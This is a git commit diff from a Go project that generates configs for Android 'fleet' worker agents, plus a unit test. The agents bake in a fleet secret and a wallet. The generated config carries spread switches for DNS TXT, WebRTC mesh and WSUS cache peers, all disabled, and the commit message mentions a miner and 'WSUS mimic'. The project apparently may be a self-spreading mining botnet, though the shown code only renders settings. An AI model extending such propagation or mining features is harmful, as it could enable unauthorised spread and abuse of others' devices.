Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage
This commit is contained in:
@@ -1,4 +1,9 @@
|
||||
{
|
||||
"server_url": "http://192.168.1.10:8989",
|
||||
"worker_name": "tablet-1"
|
||||
"server_url": "http://deck:8989",
|
||||
"worker_name": "tab-1",
|
||||
"worker_number": "tab-1",
|
||||
"mining": {
|
||||
"enabled": false
|
||||
},
|
||||
"build_id": "bld-cross"
|
||||
}
|
||||
@@ -16,6 +16,7 @@ type BakeConfig struct {
|
||||
FleetSecret string `json:"fleet_secret,omitempty"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
ScoutMode bool `json:"scout_mode,omitempty"`
|
||||
}
|
||||
|
||||
// AndroidAgentDefaults returns fleet-first defaults with mining off by default.
|
||||
@@ -117,9 +118,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
DnsTxtSpread: false,
|
||||
WebRTCMeshSpread: false,
|
||||
WSUSCachePeerSpread: false,
|
||||
ApkMode: true,
|
||||
ScoutMode: %v,
|
||||
MiningDisabled: true,
|
||||
}
|
||||
}
|
||||
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret), nil
|
||||
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret, cfg.ScoutMode), nil
|
||||
}
|
||||
|
||||
func normalize(cfg BakeConfig) BakeConfig {
|
||||
|
||||
@@ -36,6 +36,29 @@ func TestRenderConfigJSON(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderBuiltinGoScoutMode(t *testing.T) {
|
||||
cfg := BakeConfig{
|
||||
WorkerName: "scout-tab",
|
||||
ServerURL: "http://10.0.0.5:8989",
|
||||
FleetSecret: "fleet-key",
|
||||
BuildID: "b-scout",
|
||||
ScoutMode: true,
|
||||
}
|
||||
src, err := RenderBuiltinGo(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, needle := range []string{
|
||||
`ScoutMode: true`,
|
||||
`ApkMode: true`,
|
||||
`MiningDisabled: true`,
|
||||
} {
|
||||
if !strings.Contains(src, needle) {
|
||||
t.Fatalf("missing %q in builtin.go:\n%s", needle, src)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderBuiltinGo(t *testing.T) {
|
||||
cfg := BakeConfig{
|
||||
WorkerName: "tab-s9",
|
||||
|
||||
Reference in New Issue
Block a user